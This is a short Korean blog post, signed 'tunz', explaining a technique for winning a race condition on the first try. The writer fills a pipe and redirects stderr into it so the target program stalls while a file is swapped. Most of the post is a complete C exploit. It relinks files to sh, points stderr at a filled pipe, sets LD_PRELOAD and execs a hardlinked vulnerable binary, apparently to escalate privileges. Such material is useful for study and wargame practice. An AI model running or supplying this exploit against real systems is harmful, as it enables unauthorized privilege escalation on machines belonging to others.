레이스컨디션도 한번에 성공시킬수 있는 트릭들이 몇가지 있다.

아래의 코드는 그 트릭중 하나인, PIPE를 이용한 exploit이다.

PIPE를 가득채운후, stderr를 그 파이프에 연결해둔다.

이렇게되면, 어떤 에러메세지가 뜰때, 파이프가 꽉차있기때문에 그 에러메세지를 버퍼에 넣지 못해고 잠깐 멈추게 된다.

멈춰있는동안 파일 바꿔치기 작업을 여유롭게 해주고 다시 버퍼를 읽어서, 프로그램을 진행시키면 된다.

(꼭 실행직전이 아니라도, 실행도중 stdout의 길이에 따라서 멈춘다던가 하는 방법이 가능)


참고: http://dividead.wordpress.com/2009/07/21/blocking-between-execution-and-main/



#include <stdio.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h>   int main() { system("rm 'test (deleted)'"); system("ln -s sh 'test (deleted)'"); system("rm test"); system("ln vuln test");   pid_t pid; ssize_t ret; int pipefd[2]; char buf[4096]; int flags; memset(buf,'A',4096); buf[4095]=0;   pipe(pipefd); // non-blocking flags = fcntl(pipefd[1], F_GETFL); flags |= O_NONBLOCK; fcntl(pipefd[1], F_SETFL, flags);   // fill pipe do { ret = write(pipefd[1], buf, 4096); } while ( !(ret == -1 && errno == EAGAIN) );   do { ret = write(pipefd[1], buf, 1); } while ( !(ret == -1 && errno == EAGAIN) );   // blocking flags = fcntl(pipefd[1], F_GETFL); flags &= ~O_NONBLOCK; fcntl(pipefd[1], F_SETFL, flags);   switch(pid = fork()) { case 0: sleep(1); remove("test"); int i=0; for (i=0; i<16; i++) read(pipefd[0],&buf,4096);   exit(0); default: dup2(2,77); dup2(pipefd[1], 2); putenv("LD_PRELOAD=tunz"); execlp("./test", "test", NULL); } }


posted by tunz